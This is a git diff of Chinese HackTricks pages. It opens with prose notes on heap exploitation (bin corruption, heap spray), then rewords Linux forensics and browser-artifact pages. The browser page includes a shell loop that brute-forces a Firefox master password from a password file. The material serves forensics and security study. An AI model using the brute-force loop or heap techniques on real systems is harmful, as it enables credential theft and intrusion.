- 目标是:如果我们可以对一个堆进行溢出,而其下方有一个已被释放并放入 bin 中的块,我们可以修改其指针 `bk`。如果修改了 `bk` 指针,并且该块成为 bin 列表中的第一个块并被重新分配bin 将被欺骗,并告诉其下一个要提供的块位于我们设置的虚假地址(例如堆栈或 GOT。因此如果再次分配另一个块并且攻击者有权限将在所需位置获得一个块并可以向其中写入内容。
- 在修改块后,需要释放修改后的块,并分配一个比释放的块更大的块,这样修改后的块将离开未排序的 bin 并被放入其 bin 中。
- 一旦进入其 bin就是修改溢出以使其指针 `bk` 指向我们想要覆盖的地址的时候。
- 因此bin 必须等待足够多次调用 `malloc()`,以便再次使用修改后的 bin 并欺骗 bin使其相信下一个块位于虚假地址。然后将提供我们感兴趣的块。
- 为了尽快执行漏洞,理想情况是:预留易受攻击的块,预留将被修改的块,释放此块,分配一个比将被修改的块更大的块,修改块(漏洞),分配一个与受攻击块相同大小的块,再次分配一个相同大小的第二块,这将指向所选地址。
- 为了保护此攻击,通常会使用典型的检查,即“不”是虚假块:检查 `bck->fd` 是否指向受害者。也就是说,在我们的情况下,如果堆栈中指向受害者的虚假块的 `fd` 指针指向受害者。要绕过此保护,攻击者必须以某种方式(可能通过堆栈)能够在适当的地址写入受害者的地址,以便看起来像一个真实块。
### 大型 Bin 破坏
需要与之前相同的要求以及一些额外要求,此外,预留的块大小必须大于 512。
攻击与之前类似,即需要修改 `bk` 指针并需要所有这些对 `malloc()` 的调用,但还需要修改已修改块的大小,使得 `size - nb` 小于 `MINSIZE`
例如,将大小设置为 1552使得 1552 - 1544 = 8 < `MINSIZE`(减法不能为负,因为将无符号数进行比较)。
此外,还引入了一个补丁,使其更加复杂。
- 需要与之前相同的要求以及更多要求,此外,预留的块大小必须大于 512。
- 攻击与之前类似,即需要修改 `bk` 指针并需要所有这些对 `malloc()` 的调用,但还需要修改已修改块的大小,使得 `size - nb` 小于 `MINSIZE`
- 例如,将大小设置为 1552使得 1552 - 1544 = 8 < MINSIZE减法不能为负因为是无符号比较
- 此外,还引入了一个补丁,使其更加复杂。
### 堆喷射
基本上是预留尽可能多的堆内存,并用以 shellcode 结尾的 nop 垫填充这些内存。此外,将 0x0c 用作垫。因此,将尝试跳转到地址 0x0c0c0c0c因此如果覆盖了将使用此垫进行调用的任何地址,将跳转到那里。基本策略是尽可能多地预留内存,以查看是否覆盖了任何指针并跳转到 0x0c0c0c0c希望那里有 nop。
- 基本上是预留尽可能多的堆内存,并用一组以 shellcode 结尾的 nop 填充这些内存。此外,将 0x0c 用作填充物。因此,将尝试跳转到地址 0x0c0c0c0c因此如果覆盖了将使用此填充物调用的任何地址,将跳转到那里。基本策略是尽可能多地预留内存,以查看是否覆盖了任何指针并跳转到 0x0c0c0c0c希望那里有 nop。
### 堆风水
通过预留和释放来巩固内存,使得在空闲块之间留下已预留的块。要溢出的缓冲区将位于其中一个空闲块中。
- 通过预留和释放来分配内存,使得在空闲块之间留下已预留的块。要溢出的缓冲区将位于其中一个块中。

View file

@ -1,6 +1,6 @@
# Linux取证
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
@ -16,7 +16,7 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
@ -26,7 +26,7 @@
### 基本信息
首先,建议准备一些带有**已知良好的二进制文件和库**的**USB**您可以使用Ubuntu并复制文件夹_/bin__/sbin__/lib_和_/lib64_然后挂载USB修改环境变量以使用这些二进制文件
首先,建议准备一些带有**已知良好的二进制文件和库的USB**您可以只需获取ubuntu并复制文件夹_/bin__/sbin__/lib_和_/lib64_然后挂载USB修改环境变量以使用这些二进制文件:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@ -59,15 +59,15 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
### 内存转储
为了获取运行系统的内存,建议使用[**LiME**](https://github.com/504ensicsLabs/LiME)。\
要进行**编译**,需要使用与受害者机器相同的**内核**。
为了获取运行系统的内存,建议使用[**LiME**](https://github.com/504ensicsLabs/LiME)。\
要进行**编译**,需要使用受害机器正在使用的**相同内核**。
{% hint style="info" %}
请记住,**不能在受害者机器上安装LiME或任何其他东西**,因为这将对其进行多处更改
请记住,**不能在受害机器上安装LiME或任何其他内容**,因为这将对其进行多处更改
{% endhint %}
因此,如果你有一个相同版本的Ubuntu,可以使用`apt-get install lime-forensics-dkms`\
在其他情况下,需要从github下载[**LiME**](https://github.com/504ensicsLabs/LiME),并使用正确的内核头文件进行编译。要**获取受害机器的确切内核头文件**,只需将目录`/lib/modules/<kernel version>`复制到的机器上,然后使用它们**编译** LiME
因此,如果你有一个与Ubuntu相同版本的系统,可以使用`apt-get install lime-forensics-dkms`\
在其他情况下,需要从github下载[**LiME**](https://github.com/504ensicsLabs/LiME),并使用正确的内核头文件进行编译。要**获取受害机器的确切内核头文件**,只需将目录`/lib/modules/<kernel version>`复制到的机器上,然后使用它们**编译** LiME
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -78,14 +78,14 @@ LiME支持3种**格式**
- 填充(与原始相同,但右位填充为零)
- Lime推荐的带有元数据的格式
LiME还可以用于通过网络**发送转储**,而不是将其存储在系统上,使用类似`path=tcp:4444`
LiME还可以用于通过网络发送转储而不是将其存储在系统上使用类似以下的内容`path=tcp:4444`
### 磁盘成像
#### 关机
首先,您需要**关闭系统**。这并不总是一个选项,因为有时系统将是公司无法关闭的生产服务器。\
有**2种**关闭系统的方法,**正常关机**和**"拔插头"关机**。第一种方法将允许**进程像往常一样终止****文件系统**将被**同步**,但也会允许可能的**恶意软件**破坏证据。"拔插头"方法可能会带来**一些信息丢失**(不会丢失太多信息,因为我们已经拍摄了内存镜像),**恶意软件**将没有机会对此做任何事情。因此,如果您**怀疑**可能存在**恶意软件**,只需在系统上执行**`sync`** **命令**,然后拔掉插头。
有**2种**关闭系统的方式,**正常关闭**和**"拔插头"关闭**。第一种方式将允许**进程像往常一样终止**,并且**文件系统**将被**同步**,但也会允许可能的**恶意软件**来**销毁证据**。"拔插头"方法可能会带来**一些信息丢失**(不会丢失太多信息,因为我们已经对内存进行了图像拍摄),并且**恶意软件将没有任何机会**对此做任何事情。因此,如果您**怀疑**可能存在**恶意软件**,只需在系统上执行**`sync`** **命令**,然后拔掉插头。
#### 对磁盘进行成像
@ -100,7 +100,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### 磁盘映像预分析
使用不含更多数据的磁盘映像。
使用更多数据的磁盘映像。
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -153,7 +153,7 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
@ -178,14 +178,14 @@ Linux提供了用于确保系统组件完整性的工具这对于发现潜在
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## 搜索已安装程序
## 搜索已安装程序
要有效地搜索Debian和RedHat系统上已安装的程序考虑在常见目录中手动检查的同时利用系统日志和数据库。
要有效地搜索Debian和RedHat系统上已安装的程序考虑在常见目录中手动检查的同时结合系统日志和数据库。
* 对于Debian检查 _**`/var/lib/dpkg/status`**__**`/var/log/dpkg.log`**_ 以获取有关软件包安装的详细信息,使用 `grep` 过滤特定信息。
* RedHat用户可以使用 `rpm -qa --root=/mntpath/var/lib/rpm` 查询RPM数据库以列出已安装的软件包。
要查找手动安装或超出这些软件包管理器范围之外的软件,请探索目录如 _**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_ 和 _**`/sbin`**_。将目录列表与特定于系统的命令结合使用,以识别与已知软件包不相关的可执行文件,增强您对所有已安装程序的搜索。
要查找手动安装或超出这些软件包管理器范围的软件,请探索目录如 _**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_ 和 _**`/sbin`**_。将目录列表与特定于系统的命令结合使用,以识别与已知软件包不相关的可执行文件,增强您对所有已安装程序的搜索。
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -201,17 +201,17 @@ find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建并**自动化**由全球**最先进**的社区工具驱动的工作流程。\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建并由全球**最先进**的社区工具驱动的**自动化工作流程**。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 恢复已删除的运行二进制文件
想象一下从/tmp/exec执行并删除的进程。可以提取它。
想象一个从/tmp/exec执行并被删除的进程。可以提取它。
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@ -241,7 +241,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
- **/etc/rc.d/** 和 **/etc/rc.boot/**包含用于服务启动的脚本后者在旧版Linux中找到。
- **/etc/init.d/**在某些Linux版本如Debian中用于存储启动脚本。
- 服务也可以通过 **/etc/inetd.conf** 或 **/etc/xinetd/** 激活取决于Linux变体。
- **/etc/systemd/system**用于系统和服务管理器脚本的目录。
- **/etc/systemd/system**:系统和服务管理器脚本的目录。
- **/etc/systemd/system/multi-user.target.wants/**:包含应在多用户运行级别中启动的服务的链接。
- **/usr/local/etc/rc.d/**:用于自定义或第三方服务。
- **\~/.config/autostart/**:用于特定用户的自动启动应用程序,可能是用户定向恶意软件的隐藏位置。
@ -249,13 +249,13 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
### 内核模块
Linux内核模块恶意软件常用作rootkit组件在系统启动时加载。关键用于这些模块的目录和文件包括:
Linux内核模块恶意软件常用作rootkit组件在系统启动时加载。这些模块的关键目录和文件包括:
- **/lib/modules/$(uname -r)**:保存运行的内核版本的模块。
- **/etc/modprobe.d**:包含用于控制模块加载的配置文件。
- **/etc/modprobe.d**:包含控制模块加载的配置文件。
- **/etc/modprobe** 和 **/etc/modprobe.conf**:全局模块设置的文件。
### 其他自启动位置
### 其他自启动位置
Linux使用各种文件在用户登录时自动执行程序可能隐藏恶意软件
@ -284,7 +284,7 @@ Linux系统通过各种日志文件跟踪用户活动和系统事件。这些日
- **/var/log/**:始终检查意外日志。
{% hint style="info" %}
Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。因为Linux系统的日志通常包含有关恶意活动的最有用信息入侵者经常删除它们。因此在检查可用的日志文件时重要的是查找可能表示删除或篡改的间隙或顺序不当的条目。
Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。因为Linux系统的日志通常包含有关恶意活动的最有用信息,入侵者经常删除它们。因此,在检查可用的日志文件时,重要的是查找可能表示删除或篡改的间隙或顺序不当的条目。
{% endhint %}
**Linux为每个用户维护一个命令历史记录**,存储在:
@ -295,7 +295,7 @@ Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁
- \~/.python\_history
- \~/.\*\_history
此外,`last -Faiwx` 命令提供用户登录列表。检查其中是否有未知或意外登录。
此外,`last -Faiwx` 命令提供用户登录列表。检查其中是否有未知或意外登录。
检查可能授予额外权限的文件:
@ -320,7 +320,7 @@ Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁
[**usbrip**](https://github.com/snovvcrash/usbrip) 是一款纯Python 3编写的小型软件用于解析Linux日志文件取决于发行版可能是`/var/log/syslog*`或`/var/log/messages*`以构建USB事件历史表。
了解所有已使用的USB设备是很有趣的如果您有一个授权的USB设备列表将更有用以查找“违规事件”使用不在该列表中的USB设备
了解所有已使用的USB设备是很有趣的如果您有授权的USB设备列表将更有用以查找“违规事件”使用不在该列表中的USB设备
### 安装
```bash
@ -337,7 +337,7 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
更多示例和信息请查看github[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
@ -348,7 +348,7 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
## 查看用户帐户和登录活动
检查 _**/etc/passwd**_、_**/etc/shadow**_ 和**安全日志**查找是否有异常名称或在已知未经授权事件附近创建或使用的帐户。还要检查可能的sudo暴力攻击。\
此外,检查 _**/etc/sudoers**__**/etc/groups**_ 这样的文件,查看是否给用户授予了意外的特权。\
此外,检查 _**/etc/sudoers**__**/etc/groups**_ 文件,查看是否给用户授予了意外的特权。\
最后,查找没有密码或**易于猜测**密码的帐户。
## 检查文件系统
@ -360,13 +360,13 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
为了对抗这些反取证方法,重要的是:
* 使用工具如**Autopsy**进行彻底的时间线分析,可视化事件时间线,或使用**Sleuth Kit**的`mactime`获取详细的时间线数据。
* 查系统的$PATH中的意外脚本这些脚本可能包括攻击者使用的shell或PHP脚本。
* 查系统的$PATH中的意外脚本这些脚本可能包括攻击者使用的shell或PHP脚本。
* 检查`/dev`中的非典型文件,因为它传统上包含特殊文件,但可能包含与恶意软件相关的文件。
* 搜索具有像".. "(点 点 空格)或"..^G"(点 点 控制-G这样的名称的隐藏文件或目录可能隐藏恶意内容。
* 搜索具有类似“.. ”(点 点 空格)或“..^G”点 点 控制-G名称的隐藏文件或目录这些文件可能隐藏恶意内容。
* 使用命令`find / -user root -perm -04000 -print`识别setuid root文件这会找到具有提升权限的文件可能会被攻击者滥用。
* 检查inode表中的删除时间戳以发现大量文件删除可能表明存在rootkit或特洛伊木马。
* 在识别一个恶意文件后检查相邻的inode因为它们可能被放在一起。
* 检查常见的二进制目录_/bin_、_/sbin_中最近修改的文件因为这些文件可能被恶意软件改。
* 检查常见的二进制目录_/bin_、_/sbin_中最近修改的文件因为这些文件可能被恶意软件改。
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -375,7 +375,7 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
请注意,**攻击者** 可以**修改时间**以使**文件看起来** **合法**,但他**无法**修改**inode**。如果您发现一个**文件**表明它是在与同一文件夹中的其他文件**相同时间**创建和修改的,但**inode**却**意外地更大**,那么该文件的**时间戳已被修改**。
请注意,**攻击者** 可以**修改**时间以使文件看起来**合法**,但他**无法**修改**inode**。如果您发现一个**文件**表明它是在与同一文件夹中的其他文件**相同时间**创建和修改的,但**inode**却**意外地更大**,那么该文件的**时间戳已被修改**。
{% endhint %}
## 比较不同文件系统版本的文件
@ -384,7 +384,7 @@ ls -lai /bin | sort -n```
要比较文件系统版本并准确定位更改,我们使用简化的 `git diff` 命令:
* **查找新文件**,比较两个目录:
* **查找新文件**,比较两个目录:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
@ -396,7 +396,7 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
* **筛选选项** (`--diff-filter`) 有助于缩小范围到特定更改,如添加 (`A`)、删除 (`D`) 或修改 (`M`) 文件。
* **筛选选项** (`--diff-filter`) 有助于缩小范围,如添加 (`A`)、删除 (`D`) 或修改 (`M`) 文件。
* `A`: 添加的文件
* `C`: 复制的文件
* `D`: 删除的文件
@ -416,22 +416,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗? 或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
您在**网络安全公司**工作吗? 想要在 HackTricks 中看到您的**公司广告**吗? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组** 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord 群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组** 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
**通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
@ -24,17 +24,17 @@
## 浏览器遗留物 <a href="#id-3def" id="id-3def"></a>
浏览器遗留物包括由网络浏览器存储的各种类型数据,例如浏览历史记录、书签和缓存数据。这些遗留物存储在操作系统中特定文件夹中,不同浏览器的位置和名称各不相同,但通常存储类似的数据类型。
浏览器遗留物包括由网络浏览器存储的各种数据,例如浏览历史记录、书签和缓存数据。这些遗留物存储在操作系统中特定文件夹中,不同浏览器的位置和名称各不相同,但通常存储类似的数据类型。
以下是最常见的浏览器遗留物摘要:
* **浏览历史记录**:跟踪用户访问网站的记录,有助于识别访问恶意网站的情况。
* **自动完成数据**:基于频繁搜索的建议,结合浏览历史记录提供洞察。
* **自动完成数据**:基于频繁搜索的建议,结合浏览历史记录提供洞察。
* **书签**:用户保存的用于快速访问的网站。
* **扩展和插件**:用户安装的浏览器扩展或插件。
* **缓存**存储网页内容例如图片、JavaScript文件以提高网站加载速度对取证分析很有价值。
* **登录信息**:存储的登录凭据。
* **网站图标**:与网站相关联的图标,显示在标签和书签中,有助于获取有关用户访问的额外信息。
* **网站图标**:与网站相关联的图标,显示在标签和书签中,可提供有关用户访问的额外信息。
* **浏览器会话**:与打开的浏览器会话相关的数据。
* **下载**:通过浏览器下载的文件记录。
* **表单数据**:输入到网络表单中的信息,保存以供将来自动填充建议使用。
@ -69,7 +69,7 @@
* **logins.json**:加密的登录信息。
* **key4.db**或**key3.db**:存储用于保护敏感信息的加密密钥。
此外,可以通过在`prefs.js`中搜索`browser.safebrowsing`条目来检查浏览器的反钓鱼设置,以确定安全浏览功能是否已启用或禁用。
此外,可以通过在`prefs.js`中搜索`browser.safebrowsing`条目来检查浏览器的反钓鱼设置,以确定安全浏览功能是否已启用或禁用。
要尝试解密主密码,可以使用[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
使用以下脚本和调用,您可以指定一个密码文件进行暴力破解:
@ -87,7 +87,7 @@ done < $passfile
```
## Google Chrome
Google Chrome将用户配置文件存储在特定位置具体取决于操作系统:
Google Chrome将用户配置文件存储在特定位置取决于操作系统
- **Linux**`~/.config/google-chrome/`
- **Windows**`C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
@ -102,8 +102,8 @@ Google Chrome将用户配置文件存储在特定位置具体取决于操作
- **Web Data**:包含表单历史。
- **Favicons**:存储网站图标。
- **Login Data**:包括用户名和密码等登录凭据。
- **Current Session**/**Current Tabs**关当前浏览会话和打开标签的数据。
- **Last Session**/**Last Tabs**:有关Chrome关闭前最后一个会话中活动站点的信息。
- **Current Session**/**Current Tabs**:关当前浏览会话和打开标签的数据。
- **Last Session**/**Last Tabs**:有关在Chrome关闭之前上次会话期间活动的信息。
- **Extensions**:浏览器扩展和插件的目录。
- **Thumbnails**:存储网站缩略图。
- **Preferences**:包含丰富信息的文件,包括插件、扩展、弹出窗口、通知等的设置。
@ -115,19 +115,19 @@ Google Chrome将用户配置文件存储在特定位置具体取决于操作
## **Internet Explorer 11**
Internet Explorer 11在各个位置管理其数据和元数据有助于分离存储的信息及其应的详细信息,以便轻松访问和管理。
Internet Explorer 11在各个位置管理其数据和元数据有助于分离存储的信息及其应的详细信息,以便轻松访问和管理。
### 元数据存储
Internet Explorer的元数据存储在`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`其中VX为V01、V16或V24伴随的`V01.log`文件可能显示与`WebcacheVX.data`的修改时间不一致,表明需要使用`esentutl /r V01 /d`进行修复。这些存储在ESE数据库中的元数据可以使用工具如photorec和[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)进行恢复和检查。在**Containers**表中,可以区分每个数据段存储的特定表或容器包括其他Microsoft工具如Skype的缓存详细信息。
Internet Explorer的元数据存储在`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`其中VX为V01、V16或V24除此之外,`V01.log`文件可能显示与`WebcacheVX.data`的修改时间不一致,表明需要使用`esentutl /r V01 /d`进行修复。这些存储在ESE数据库中的元数据可以使用工具如photorec和[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)进行恢复和检查。在**Containers**表中,可以区分存储每个数据段的特定表或容器包括其他Microsoft工具如Skype的缓存详细信息。
### 缓存检查
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html)工具允许进行缓存检查需要提供缓存数据提取文件夹的位置。缓存的元数据包括文件名、目录、访问计数、URL来源以及指示缓存创建、访问、修改和期时间的时间戳。
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html)工具允许进行缓存检查需要提供缓存数据提取文件夹的位置。缓存的元数据包括文件名、目录、访问计数、URL来源以及指示缓存创建、访问、修改和期时间的时间戳。
### Cookies管理
可以使用[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)来探索Cookie元数据包括名称、URL、访问计数和各种与时间相关的详细信息。持久Cookie存储在`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`中会话Cookie存储在内存中。
可以使用[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)来探索Cookie元数据包括名称、URL、访问计数和各种与时间相关的详细信息。持久Cookie存储在`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`中会话Cookie存储在内存中。
### 下载详细信息
@ -139,17 +139,17 @@ Internet Explorer的元数据存储在`%userprofile%\Appdata\Local\Microsoft\Win
### 输入的URL
输入的URL及其使用时间存储在注册表中的`NTUSER.DAT`的`Software\Microsoft\InternetExplorer\TypedURLs`和`Software\Microsoft\InternetExplorer\TypedURLsTime`跟踪用户输入的最后50个URL及其最后输入时间。
输入的URL及其使用时间存储在注册表中的`NTUSER.DAT`的`Software\Microsoft\InternetExplorer\TypedURLs`和`Software\Microsoft\InternetExplorer\TypedURLsTime`跟踪用户输入的最后50个URL及其最后输入时间。
## Microsoft Edge
Microsoft Edge将用户数据存储在`%userprofile%\Appdata\Local\Packages`中。各种数据类型的路径为:
- **Profile Path**`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**`C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Settings, Bookmarks, and Reading List**`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Cache**`C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Last Active Sessions**`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
- **配置文件路径**`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **历史记录、Cookie和下载**`C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **设置、书签和阅读列表**`C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **缓存**`C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
